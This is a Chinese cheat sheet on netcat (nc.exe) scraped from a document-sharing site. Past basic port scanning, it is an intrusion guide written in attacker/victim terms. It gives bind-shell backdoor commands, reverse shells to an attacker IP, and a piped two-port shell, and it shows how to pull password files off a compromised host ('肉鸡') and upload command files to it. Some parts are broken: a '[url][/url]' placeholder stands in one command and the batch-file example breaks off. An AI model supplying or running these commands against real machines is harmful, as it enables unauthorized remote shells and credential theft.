工具nc.exe_的常用命令.doc

  1. 1、本文档共6页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
工具nc.exe_的常用命令

工具nc.exe_的常用命令 3.1.端口的刺探: nc -vv ip port RIVER [98] 19190 (?) open //显示是否开放open 3.2.扫描器 nc -vv -w 5 ip port-port port nc -vv -z ip port-port port 这样扫描会留下大量的痕迹,系统管理员会额外小心 3.3. 后门 victim machine: //受害者的机器 nc -l -p port -e cmd.exe //win2000 nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 3.4.反向连接 attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. //或者wollf的反向连接. nc -vv -l -p port victim machine: nc -e cmd.exe attacker ip -p port nc -e /bin/sh attacker ip -p port 或者: attacker machine: nc -vv -l -p port1 /*用于输入*/ nc -vv -l -p prot2 /*用于显示*/ victim machine: nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) 这样就可以保证nc.exe优先于NETBIOS。 3.5.传送文件: 3.5.1 attacker machine -- victim machine //从肉鸡拖密码文件回来. nc -d -l -p port path\filedest     /*attacker machine*/ 可以shell执行 nc -vv attacker_ip port path\file.txt /*victim machine*/ 需要Ctrl+C退出 //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. 3.5.2 attacker machine -- victim machine //上传命令文件到肉鸡 nc -vv -l -p port path\file.txt      /*victim machine*/ 需要Ctrl+C退出 nc -d victim_ip port path\filedest   /*attacker machine*/ 可以shell执行 //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆. 结论: 可以传输ascii,bin文件.可以传输程序文件. 问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了? 3.6 端口数据抓包. nc -vv -w 2 -o test.txt [url][/url] 80 21-15 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command unr 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 83 00 00 01 8f # ..... 3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个. nc victim_ip port path\file.cmd   /*victim machine*/ 显示执行过程. nc -vv victim_ip port path\file.cmd   /*victim machine*/ 显示执行过程. nc -d victim_ip port path\file.cmd 安静模式. _______________file.cmd________________________ password cd %windir% echo []=[%windir%]

文档评论(0)

jgx3536 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:6111134150000003

1亿VIP精品文档

相关文档